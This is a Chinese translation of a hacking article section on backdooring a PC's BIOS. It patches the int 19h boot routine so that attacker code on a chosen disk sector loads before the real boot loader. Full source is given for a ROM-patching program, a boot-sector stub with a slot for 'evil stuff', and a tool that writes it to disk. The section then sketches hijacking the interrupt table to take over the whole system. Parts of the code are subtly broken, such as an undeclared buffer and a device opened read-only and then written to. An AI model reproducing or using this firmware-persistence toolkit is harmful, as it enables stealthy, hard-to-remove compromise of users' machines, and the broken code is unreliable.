实现上面第 2 点要比第 1 点复杂，所以我们开始时专注于第 1 点。方法是让 BIOS 在载入 boot loader 以前先载入我们的代码（译者注：这里的原理同引导型病毒是完全一样的），而这是很容易办到的。参考 Bochs 中的 BIOS 源码是很方便的，但如果你看的是自己机器上的 BIOS 代码的 dump，你会发现都差不多。我们感兴趣的代码位于地址 0xfe6f2，即 int 19h BIOS 中断服务里面。让我们看一下我们感兴趣的部分代码：

```
7238  // We have to boot from harddisk or floppy
7239  if (bootcd == 0) {
7240    bootseg=0x07c0;
7241
7242 ASM_START
7243    push bp
7244    mov  bp, sp
7245
7246    mov  ax, #0x0000
7247    mov  _int19_function.status + 2[bp], ax
7248    mov  dl, _int19_function.bootdrv + 2[bp]
7249    mov  ax, _int19_function.bootseg + 2[bp]
7250    mov  es, ax        ;; segment
7251    mov  bx, #0x0000   ;; offset
7252    mov  ah, #0x02     ;; function 2, read diskette sector
7253    mov  al, #0x01     ;; read 1 sector
7254    mov  ch, #0x00     ;; track 0
7255    mov  cl, #0x01     ;; sector 1
7256    mov  dh, #0x00     ;; head 0
7257    int  #0x13        ;; read sector
7258    jnc  int19_load_done
7259    mov  ax, #0x0001
7260    mov  _int19_function.status + 2[bp], ax
7261
7262 int19_load_done:
7263    pop  bp
7264 ASM_END
```

代码中的 int 13h 是用于访问存储设备的 BIOS 中断服务（译者注：类似于 Windows/Linux 下的底层硬盘驱动）。在上面的例子中，BIOS 试图载入硬盘上的第一个扇区上的 boot loader。有趣的是只需改变寄存器中的一个值就可以使 BIOS 载入我们的“后门”代码（而不是正常的 boot loader）。比如，如果我们的“后门”代码被隐藏在扇区号为 0xN 的扇区中，我们只要这样对 BIOS 这样打补丁，把 mov cl, #0x01 改成 mov cl, #0x0N，就可以在启动阶段（包括冷启动和热启动）让 BIOS 先载入我们的后门代码（在 Windows 上，这技巧实际上已经没多大用处，除非你的机器没装

任何防毒软件。因为现在几乎所有防毒软件都会监控 boot loader）。基本上，我们能把“后门”代码存储到我们想的任何地方，当然我们要能够修改对应的驱动器上的扇区。选择把“后门”代码存储在哪儿取决于你。正象我说的，标记好扇区为坏扇区是一种有趣的花招。

下面有 3 个源码文件帮助你快速入门:第一个,inject.c,修改 BIOS 代码所在的 ROM，以便先于 boot loader 载入我们的后门代码。Inject.c 需要/dev/bios 的支持才能运行。第二个，code.asm，是你可以以它为框架填入自己的代码，它将被 BIOS 认为是 boot loader 而最前载入。第 3 个，store.asm，把 code.asm 中的代码注入到硬盘的第一个磁道的目的扇区。

```
--[ infect.c

#define _GNU_SOURCE

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define BUFSIZE      512
#define BIOS_DEV  "/dev/bios"

#define CODE      "\xbb\x00\x00"  /* mov bx, 0 */ \
           "\xb4\x02"     /* mov ah, 2 */ \
           "\xb0\x01"     /* mov al, 1 */ \
           "\xb5\x00"     /* mov ch, 0 */ \
           "\xb6\x00"     /* mov dh, 0 */ \
           "\xb1\x01"     /* mov cl, 1 */ \
           "\xcd\x13"     /* int 0x13 */

#define TO_PATCH  "\xb1\x01"     /* mov cl, 1 */

#define SECTOR_OFFSET    1


void   usage(char *cmd)
{
  fprintf(stderr, "usage is : %s [bios rom] <sector> <infected rom>\n",
cmd);
  exit(1);
}
```

```
/*
** This function looks in the BIOS rom and search the int19h procedure.
** The algorithm used sucks, as it does only a naive search. Interested
** readers should change it.
*/
char * search(char * buf, size_t size)
{
  return memmem(buf, size, CODE, sizeof(CODE));
}


void   patch(char * tgt, size_t size, int sector)
{
  char     new;
  char *   tmp;

  tmp = memmem(tgt, size, TO_PATCH, sizeof(TO_PATCH));
  new = (char)sector;
  tmp[SECTOR_OFFSET] = new;
}


int    main(int argc, char **argv)
{
  int      sector;
  size_t   i;
  size_t   ret;
  size_t       cnt;
  int      devfd;
  int      outfd;
  char *   buf;
  char *   dev;
  char *   out;
  char *   tgt;

  if (argc == 3)
    {
      dev = BIOS_DEV;
      out = argv[2];
      sector = atoi(argv[1]);
    }
  else if (argc == 4)
    {
```

```
      dev = argv[1];
      out = argv[3];
      sector = atoi(argv[2]);
    }
  else
    usage(argv[0]);
  if ((devfd = open(dev, O_RDONLY)) == -1)
    {
      fprintf(stderr, "could not open BIOS\n");
      exit(1);
    }
  if ((outfd = open(out, O_WRONLY | O_TRUNC | O_CREAT)) == -1)
    {
      fprintf(stderr, "could not open %s\n", out);
      exit(1);
    }
  for (cnt = 0; (ret = read(devfd, buf, BUFSIZE)) > 0; cnt += ret)
    buf = realloc(buf, ((cnt + ret) / BUFSIZE + 1) * BUFSIZE);
  if (ret == -1)
    {
      fprintf(stderr, "error reading BIOS\n");
      exit(1);
    }
  if ((tgt = search(buf, cnt)) == NULL)
    {
      fprintf(stderr, "could not find code to patch\n");
      exit(1);
    }
  patch(tgt, cnt, sector);
  for (i = 0; (ret = write(outfd, buf + i, cnt - i)) > 0; i += ret)
    ;
  if (ret == -1)
    {
      fprintf(stderr, "could not write patched ROM to disk\n");
      exit(1);
    }
  close(devfd);
  close(outfd);
  free(buf);
  return 0;
}

---
```

```
--[ evil.asm

;;;
;;; A sample code to be loaded by an infected BIOS instead of
;;; the real bootloader. It basically moves himself so he can
;;; load the real bootloader and jump on it. Replace the nops
;;; if you want him to do something usefull.
;;;
;;; usage is :
;;;    no usage, this code must be loaded by store.c
;;;
;;; compile with : nasm -fbin evil.asm -o evil.bin
;;;

BITS   16
ORG 0

;; we need this label so we can check the code size
entry:

    jmp begin      ; jump over data


;; here comes data
drive  db  0       ; drive we're working on


begin:

    mov [drive], dl   ; get the drive we're working on

    ;; segments init
    mov ax, 0x07C0
    mov ds, ax
    mov es, ax

    ;; stack init
    mov ax, 0
    mov ss, ax
    mov ax, 0xffff
    mov sp, ax

    ;; move out of the zone so we can load the TRUE boot loader
```

```
    mov ax, 0x7c0
    mov ds, ax
    mov ax, 0x100
    mov es, ax
    mov si, 0
    mov di, 0
    mov cx, 0x200
    cld
    rep movsb

    ;; jump to our new location
    jmp 0x100:next


next:             ;; to jump to the new location

    ;; load the true boot loader
    mov dl, [drive]
    mov ax, 0x07C0
    mov es, ax
    mov bx, 0
    mov ah, 2
    mov al, 1
    mov ch, 0
    mov cl, 1
    mov dh, 0
    int 0x13

    ;; do your evil stuff there (ie : infect the boot loader)
    nop
    nop
    nop

    ;; execute system
    jmp    07C0h:0


size    equ    $ - entry
%if size+2 > 512
    %error "code is too large for boot sector"
%endif

times   (512 - size - 2) db 0   ; fill 512 bytes
db     0x55, 0xAA    ; boot signature
```

```
---


--[ store.c

/*
** code to be used to store a fake bootloader loaded by an infected BIOS
**
** usage is :
**     store <device to store on> <sector number> <file to inject>
**
** compile with : gcc store.c -o store
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define CODE_SIZE 512
#define SECTOR_SIZE  512

void   usage(char *cmd)
{
  fprintf(stderr, "usage is : %s <device> <sector> <code>", cmd);
  exit(0);
}


int main(int argc, char **argv)
{
  int   off;
  int   i;
  int   devfd;
  int   codefd;
  int   cnt;
  char  code[CODE_SIZE];

  if (argc != 4)
    usage(argv[0]);
  if ((devfd = open(argv[1], O_RDONLY)) == -1)
    {
      fprintf(stderr, "error : could not open device\n");
```

```
    exit(1);
   }
  off = atoi(argv[2]);
  if ((codefd = open(argv[3], O_RDONLY)) == -1)
   {
    fprintf(stderr, "error : could not open code file\n");
    exit(1);
   }
  for (cnt = 0; cnt != CODE_SIZE; cnt += i)
   if ((i = read(codefd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0)
    {
   fprintf(stderr, "error reading code\n");
   exit(1);
    }
  lseek(devfd, (off - 1) * SECTOR_SIZE, SEEK_SET);
  for (cnt = 0; cnt != CODE_SIZE; cnt += i)
   if ((i = write(devfd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0)
    {
   fprintf(stderr, "error reading code\n");
   exit(1);
    }
  close(devfd);
  close(codefd);
  printf("Device infected\n");
  return 0;
}

---
```

好，现在利用 BIOS,我们能够载入“后门”代码了，是到考虑在此时我们能干点什么的时候了。由于我们几乎是第一个控制系统的软件，我们真的能干很多有趣的事情。

第一，我们能够截获 BIOS 的中断服务，使它们运行时先跳到我们的代码中。我们现在可以截获 BIOS 中的代码，而不需要考虑空间问题和做很多反向工程的工作，这方法确实蛮诱人的。

第二，由于是我们自己的“后门”代码载入了 boot loader，所以可以轻而易举的给它打补丁。实际上，如果我们愿意的话，甚至不必调用真正的 boot loader，我们可以做一个假的,让它去载入已经被完美的打了补丁的内核。或者你可以做一个假的 boot loader(或者很容易地在原来的 boot loader 基础上打上补丁)，让它载入原来的内核，再对它打补丁。选择完全取决于你。
（译者注：这里前者是直接修改内核文件，而后者是先载入原来的内核文件，然后动态的对内存中的内核打补丁，原始内核文件没变。）

第三，我来讨论一下进入我脑海的最后一件事情。结合截获IDTR(译者注：即修改中断描述符表寄存器)和对BIOS打补丁，可以确保我们彻底控制整个系统。我们先修改BIOS，让它载入我们的boot loader。这个boot loader比较特殊，它接着会载入我们自己的一个迷你操作系统，该操作系统会设置IDT(译者注：中断描述符表，x86上的操作系统最核心的数据结构之一)。然后我们就可以“绑架”IDTR寄存器（有好几种方法可以用，最简单的一种是修改目标机上操作系统的启动过程，以便防止操作系统抹掉我们设好的IDT。译者注：一般情况下，操作系统在本身的初始化阶段，几乎会丢弃BIOS设置的所有数据结构，而由操作系统本身来接管系统），然后我们就能够载入真正的boot loader,而它又会载入真正的内核。这时，通过我们自己的IDT，“代理”你要的任何中断和截获系统中的任何事件，这样我们的迷你操作系统将“绑架”整个系统。我们甚至能把系统时钟作为两个操作系统[3]的scheduler(调度器)：时钟中断被我们的迷你操作系统捕获，时间片的设置完全依赖于我们的设置（比如，我们可以这么设置，10%的时间片给我们的迷你操作系统，而 90%给真正的操作系统），通过IDT,我们能够实现或者执行我们的代码，或者把控制交给真正的操作系统。

简单地修改 BIOS，你可以做很多事情，所以我建议你有想法就干。记着这并不困难，有关这方面的文章早已有了,我们真的可以做很多事情。在真正干以前,请记住用 Bochs 先做测试，毕竟主板芯片上冒出烟来不是什么好玩的事…

结论

好了，硬件的后门化还是相当容易的。当然在这里我展示的只是一个快速简介。对硬件，我们需要作很多事情才能确保我们完全控制正被我们“黑”的和已经被我们“黑掉”的电脑。由于越来越多的设备独立于 CPU 并提供了许多可寻很多好玩乐子的特性，所以在这一领域（译者注：后门化硬件）有巨大的工作可做。限制你的只有你的想象力!

对于那些对硬件世界非常感兴趣的人，我建议你看一下 CPU 的微代码编程系统（可以以参考资料【8】中 AMD K8 反向工程方面来起步）（译者注：所谓 CPU 的 microcode，是指 CPU 内部的用逻辑电路实现的代码。比如我们知道 x86 CPU 上，对软件人员而言，CPU 的指令是最基本的单元，不可能更基本了。但对 CPU 的实现者而言，这些指令就象软件语言中的函数一样，它们本身也是由更基本的单元 microcode 实现的。当然我这里指的是基于微码设计的 CPU，非此类的另作它论。Intel CPU 就提供这样的功能，下载微码到 CPU 内，以改变 CPU 的某些运行方式，比如修复出厂时没测试出的 bug 等等），网卡的 BIOS，和 PXE 系统。

（硬件hacking技术的学习有一个比较有趣的起点，就是学着去“操”[4]TCPA系统）。

[3] 原来的OS和我们的迷你OS --- 译者

[4] 对不起，虽然话比较糙，但好像只有这个词才能形象的表达原文的意思。请见谅。---译者

参考

1. The Art of Assembly Programming - Randall Hyde
   http://webster.cs.ucr.edu/AoA/index.html

2. Linux Device Drivers - Alessandro Rubini, Jonathan Corbet
   http://www.xml.com/ldd/chapter/book/

3. OpenGL
   http://www.opengl.org/

4. Neon Helium Productions (NeHe)
   http://nehe.gamedev.net/

5. GPGPU
   http://www.gpgpu.org

6. HLSL tutorial
   http://msdn2.microsoft.com/en-us/library/bb173494.aspx

7. GLSL tutorial
   http://nehe.gamedev.net/data/articles/article.asp?article=21

8. The NVIDIA Cg Toolkit
   http://developer.nvidia.com/object/cg_toolkit.html

9. NVIDIA Cg tutorial
   http://developer.nvidia.com/object/cg_tutorial_home.html

10. nVIDIA CUDA (Compute Unified Device Architecture)
    http://developer.nvidia.com/object/cuda.html

11. Implementing and Detecting an ACPI BIOS RootKit - John Heasman
    http://www.ngssoftware.com/jh_bhf2006.pdf

12. dev/bios - Stefan Reinauer
    http://www.openbios.info/development/devbios.html

13. OpenBIOS initiative
    http://www.openbios.info/

14. Award BIOS reverse engineering guide – Pinczakko

http://www.geocities.com/mamanzip/Articles/Award_Bios_RE

15. Wim's BIOS
    http://www.wimsbios.com/

16. Bochs IA-32 Emulator Project
    http://bochs.sourceforge.net

17. Bochs BIOS source code
    http://bochs.sourceforge.net/cgi-bin/lxr/source/bios/rombios.c

18. Opteron Exposed: Reverse Engineering AMD K8 Microcode Updates
    http://www.packetstormsecurity.nl/0407-exploits/OpteronMicrocode.txt

感谢

这部分就省略了。厚报都不言谢，何况这区区文章！^_^

联系地址

文章作者邮件地址：scythale@gmail.com
译者邮件地址：z-l-dragon@hotmail.com

Walter Zhou

2007-12-19 晚于神奈川县海老名国分北，初稿